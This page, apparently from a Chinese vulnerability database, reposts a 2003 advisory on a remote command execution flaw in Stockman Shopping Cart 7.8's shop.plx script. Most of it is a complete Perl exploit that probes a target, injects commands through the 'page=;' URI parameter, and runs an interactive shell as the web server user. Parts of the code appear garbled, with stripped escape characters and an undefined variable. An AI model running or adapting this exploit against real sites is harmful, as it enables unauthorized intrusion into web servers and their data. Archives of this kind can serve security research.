Stockman Shopping Cart 7.8 – Arbitrary Command Execution
漏洞ID | 1053862 | 漏洞类型 | |
发布时间 | 2003-05-01 | 更新时间 | 2003-05-01 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | CGI | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7485/info
Stockman Shopping Cart has been reported prone to a remote command execution vulnerability. This issue presents itself in the 'shop.plx' script.
The problem results from a lack of sufficient sanitization performed on user supplied URI parameters to the 'shop.plx' script. An attacker may exploit this vulnerability to execute arbitrary commands in the context of the web server hosting the vulnerable script.
It should be noted that although this vulnerability has been reported to affect Stockman Shopping Cart Version 7.8 other versions might also be affected.
The precise technical details of this vulnerability are currently unknown. This BID will be updated, as further information is available.
#####################################################
# Stockman Shopping Cart exploit
# Spawn bash style Shell with webserver uid
# http://www.securityfocus.com/bid/7485
# Spabam 2003 PRIV8 code
# #hackarena irc.brasnet.org
# This Script is currently under development
#####################################################
use strict;
use IO::Socket;
my $host;
my $port;
my $command;
my $url;
my @results;
my $probe;
my @U;
my $shit;
$U[1] = "/cgi-bin/shop.plx/SID=313130332/page=;";
&intro;
&scan;
&choose;
&command;
&exit;
sub intro {
&help;
&host;
&server;
sleep 3;
};
sub host {
print "nHost or IP : ";
$host=<STDIN>;
chomp $host;
if ($host eq ""){$host="127.0.0.1"};
$shit="|";
$port="80";
chomp $port;
if ($port =~/D/ ){$port="80"};
if ($port eq "" ) {$port = "80"};
};
sub server {
my $X;
print "nnnnnnnnnnnnnnnnnnnnnnnn";
$probe = "string";
my $output;
my $webserver = "something";
&connect;
for ($X=0; $X<=10; $X++){
$output = $results[$X];
if (defined $output){
if ($output =~/Apache/){ $webserver = "Apache" };
};
};
if ($webserver ne "Apache"){
my $choice = "y";
chomp $choice;
if ($choice =~/N/i) {&exit};
}else{
print "nnOK";
};
};
sub scan {
my $status = "not_vulnerable";
print "nnnnnnnnnnnnnnnnnnnnnnnn";
my $loop;
my $output;
my $flag;
$command="dir";
for ($loop=1; $loop < @U; $loop++) {
$flag = "0";
$url = $U[$loop];
$probe = "scan";
&connect;
foreach $output (@results){
if ($output =~ /Directory/) {
$flag = "1";
$status = "vulnerable";
};
};
if ($flag eq "0") {
}else{
print "aaan$host VULNERABLE TO CPANEL 5 $loop !!!";
};
};
if ($status eq "not_vulnerable"){
};
};
sub choose {
my $choice="0";
chomp $choice;
if ($choice > @U){ &choose };
if ($choice =~/D/g ){ &choose };
if ($choice == 0){ &other };
$url = $U[$choice];
};
sub other {
my $other = "/cgi-bin/shop.plx/SID=313130332/page=;";
chomp $other;
$U[0] = $other;
};
sub command {
while ($command !~/quit/i) {
print "n[$host]$ ";
$command = <STDIN>;
chomp $command;
if ($command =~/quit/i) { &exit };
if ($command =~/url/i) { &choose };
if ($command =~/scan/i) { &scan };
if ($command =~/help/i) { &help };
$command =~ s/s/+/g;
$probe = "command";
if ($command !~/quit|url|scan|help/) {&connect};
};
&exit;
};
sub connect {
my $connection = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => "$host",
PeerPort => "$port",
) or die "nSorry UNABLE TO CONNECT To $host On Port $port.n";
$connection -> autoflush(1);
if ($probe =~/command|scan/){
print $connection "GET $url$command$shiz HTTP/1.1rnHost: $hostrnrn";
}elsif ($probe =~/string/) {
print $connection "HEAD / HTTP/1.1rnHost: $hostrnrn";
};
while ( <$connection> ) {
@results = <$connection>;
};
close $connection;
if ($probe eq "command"){ &output };
if ($probe eq "string"){ &output };
};
sub output{
my $display;
if ($probe eq "string") {
my $X;
for ($X=0; $X<=10; $X++) {
$display = $results[$X];
if (defined $display){print "$display";};
sleep 1;
};
}else{
foreach $display (@results){
print "$display";
sleep 1;
};
};
};
sub exit{
print "nnn
SPABAM 2003.";
print "nnn";
exit;
};
sub help {
print "nnnnnnnnnnnnnnnnnnnnnnnn";
print "n
StockmanShop.pl v1.1 by SPABAM 2003";
print "n
";
print "n Dr. Jay Stockman Stockman Shopping Cart 7.8 Exploit WHICH SPAWN A BASH STYLE SHELL";
print "n
note.. web directory is normally /var/www/html";
print "n";
print "n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)";
print "nnnnnnnnnnnn";
};
相关推荐: CSGuestbook Remote Command Execution Vulnerability
CSGuestbook Remote Command Execution Vulnerability 漏洞ID 1102340 漏洞类型 Input Validation Error 发布时间 2002-04-08 更新时间 2002-04-08 CVE编号 …
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666